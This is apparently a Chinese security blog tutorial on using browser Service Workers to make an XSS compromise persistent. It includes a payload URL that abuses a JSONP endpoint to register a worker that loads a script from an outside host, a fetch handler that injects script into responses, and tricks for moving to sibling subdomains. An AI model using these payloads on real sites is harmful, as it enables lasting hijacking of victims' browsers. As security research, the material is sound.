0x00 Service Worker 101

简单的讲,是浏览器在后台独立于网页运行的脚本。可以简单的认为是一个介于客户端和服务端之间的代理服务器,最重要的作用之一就是缓存离线资源。

根据一些文档来看,Service Worker 也是有一定的局限性的。比如:

  • 作为一种JavaScript Worker,它是无法直接访问 DOM 的,不过可以通过响应postMessage 接口发送的消息与控制 Worker 的页面进行通信,由页面侧来完成 DOM 操作。
  • Service Worker 可以简单的理解为是一个代理,可以拦截网络请求,修改返回内容等。
  • 出于安全考虑,Service Worker 只能在 localhostHTTPS 网站上使用。

既然 Service Worker 拥有代理的功能,那么我们就理所当然的想到,是否可以结合 XSS 一起利用,长期的劫持受害者?答案当然是肯定的,首先看看 Service Worker 的基本使用方法。

一个普通的 Servcie Worker 脚本,通过监听各种事件,完成正常的功能,如下代码:

this.addEventListener('install', function (event) {
    console.log('service worker install!');
});

this.addEventListener('activate', function (event) {
    console.log('service worker activate!');
});

这里监听了两个事件,分别是 installactivate,对应着 Service Worker 的安装和激活的事件。其他的需要关心的的还有 fetch 事件,主要是用于处理缓存相关的问题,可以拦截请求并修改响应,这里也是我们进行 XSS 攻击着重关心的事件。

这个 JavaScript 脚本需要放到网站的同域名下,没有办法放置到 CDN 等其他位置,具体原因可以参考这里。这样一来,当我们通过 Service Worker 进行深度利用 XSS 漏洞的时候,就没有办法将恶意的 Servcie Worker 脚本放到我们自己的OSS、CDN、服务器上了,需要另辟蹊径。

在了解了 Service Worker 脚本之后,来看一下如何注册一个 Service Worker,仅仅有了 Service Worker 脚本还不够,还需要将其注册给浏览器。

if ('serviceWorker' in window.navigator) {
  navigator.serviceWorker.register('./sw.js', { scope: './' })
    .then(function (reg) {
      console.log('success', reg);
    })
    .catch(function (err) {
      console.log('fail', err);
    });
}

这是一种比较常见的注册方式,开头的 if 判断是用于兼容性判断的,当这个特性刚出现的时候,许多浏览器还不支持,不过近些年来,各大主流浏览器(IE除外)均已支持,所以这个兼容性判断很多情况下就不需要了。Service Worker 与浏览器兼容性

这里需要关心的是 serviceWorker.register() 方法:

ServiceWorkerContainer.register(scriptURL, options)
  .then(function(ServiceWorkerRegistration) { ... });

这个方法有两个参数:

  • scriptURL:指定 Service Worker 的位置,前面已经讲过,这里不能是一个非同域的URL,而且必须是 HTTPS 或 localhost 的,并且这个脚本的 Content-Type 必须是 text/javascript,有一些等效的 Content-Type 可以参考这里:JavaScript MIME type
  • options:其实最关键的就是 scope ,A service worker's registration scope. 简单理解,就是定义了这个 Service Worker 可以控制的 URL 范围。默认值是 Service Worker 脚本所在的目录。

关于 scope 可能有点难懂,举几个例子,假设域名为 localhost:

  • serviceWorker.register('./sw.js', { scope: './' }):Service Worker 可以控制的 URL 范围为 http://localhost/
  • serviceWorker.register('./sw/sw.js', { scope: './' }):注册失败,因为 scope 范围必须要小于 Service Worker 脚本本身的路径范围,即 scope 必须是 ./sw/ 下面的路径,可以是 ./sw/
  • serviceWorker.register('./sw/sw.js', { scope: './sw/' }):Service Worker 可以控制的 URL 范围为 http://localhost/sw/
  • serviceWorker.register('./sw/sw.js'):Service Worker 可以控制的 URL 范围为 http://localhost/sw/

根据上面的例子来看,我们的 XSS 漏洞利用中也会受到一些影响,这些后面再谈。

0x01 Where Is My Installed Service Workers?

在 Chrome 浏览器中,可以通过 chrome://inspect/#service-workers 来查看当前已经安装的 Service Worker。

另外,在对应页面的开发者工具中,也可以看到对应页面安装的 Service Worker,在测试的时候,可以将 Update On Reload 打开,方便测试。
https://c1.lightless.me/service-worker-xss/sw1.png

0x02 Register Evil Service Worker

当发现一个XSS漏洞的时候,肯定是希望可以尽可能长久的控制受害者,这个时候就可以利用 Service Worker 进行一些操作。如果想借用 Service Worker,首当其冲的问题就是,在哪里放置 Service Worker 脚本?根据前面学习到的知识,很容易就发现,我们需要在目标域名下有个 JavaScript Worker 脚本。

最直接的想法就是,需要有个文件上传点,而且还不能上传到 CDN、OSS 这种位置,必须是上传到网站自己域名下的。这种上传点其实非常少见,可遇不可求。现在大部分的 Web 应用中,基本上都是将用户上传的文件存储到 OSS 中,所以这条路基本上就是死路了。

另外我们能不能找到某个接口,可以控制页面输出的内容呢?那就是 JSONP 接口了。一般的 JSONP 接口都可以控制 callback 部分,通过这部分,我们就可以放置 Service Worker 的代码了。即便如此,还有个问题需要确认,前面也已经提到过得,Service Worker 的 MIME 类型必须是 text/javascript 或与其等效的类型。根据 RFC 4329 中的内容可以发现,JSONP 应当使用的 MIME 类型是 application/javascript,和 text/javascript 是等价的。

到这里问题就简单了,我们只需要在目标站找到一个 JSONP 接口就可以了,并且该接口的路径越浅越好,最好在根目录下。很明显 http://localhost/time.jsonp?callback= 要优于 http://localhost/a/b/c/time.jsonp?callback=,因为如果后者作为 Service Worker 的脚本时,scope 只能为 /a/b/c/ 下的路径,而前者可以控制整个域下的内容。

http://localhost/xss.php?name=navigator.serviceWorker.register(%22jsonp.php?callback=importScripts(%27https://example.lightless.me/sw.js%27);//%22)

通过这个请求,就可以利用 JSONP 接口注册一个 Service Worker,注意这里使用了 importScripts 方法。前面也提到了,不能跨域加载 Service Worker 脚本,但是可以通过这种方法将脚本放置到外站。


现在已经可以将恶意的 Worker 脚本通过 XSS 注册到受害者的浏览器中了。接下来就是利用了,不过关于利用相关的资料网上非常多,基本上都是通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的 JS 脚本。这里给个简单的例子。

this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    console.log('url: ', url);
    var body = '<script>alert("test")</script>';
    var init = {headers: {"Content-Type": "text/html"}};
    if (url.url === 'http://localhost/sw/target.html') {
        var res = new Response(body, init);
        event.respondWith(res.clone());
    }
});

0x03 Dive Into SW And XSS

有很多情况下,我们在某个子站A找到了一个XSS漏洞,但是我们想要横向移动到子站B去,或是主站。借助 Service Worker,在某些情况下是可以实现的。

假设我们在 A.lightless.me 上发现了 XSS,想要横向移动到 secret.lightless.me 上。当 secret.lightless.me 上存在跨域行为的时候,例如 document.domain = 'lightless.me',我们可以通过 XSS 漏洞嵌入一个 iframe 标签,以此给 secret.lightless.me 域下植入 Service Worker(前提是 secret.lightless.me 域下存在一个 JSONP 或是有可以返回 Service Worker 脚本的地方)。通过这种方法,即便 secret.lightless.me 域内没有 XSS,也可以被植入恶意的 Service Worker。

另外,有时候也会出现需要更新 Service Worker 的情况。默认情况下,只有当页面重新打开的时候,新的 Service Worker 才会被触发 activate 事件,如果不想等到受害者下一次加载页面,可以调用 self.skipWaiting() 方法跳过等待状态。

除去这些,还有一些可能有用的技巧:

0xFF 参考链接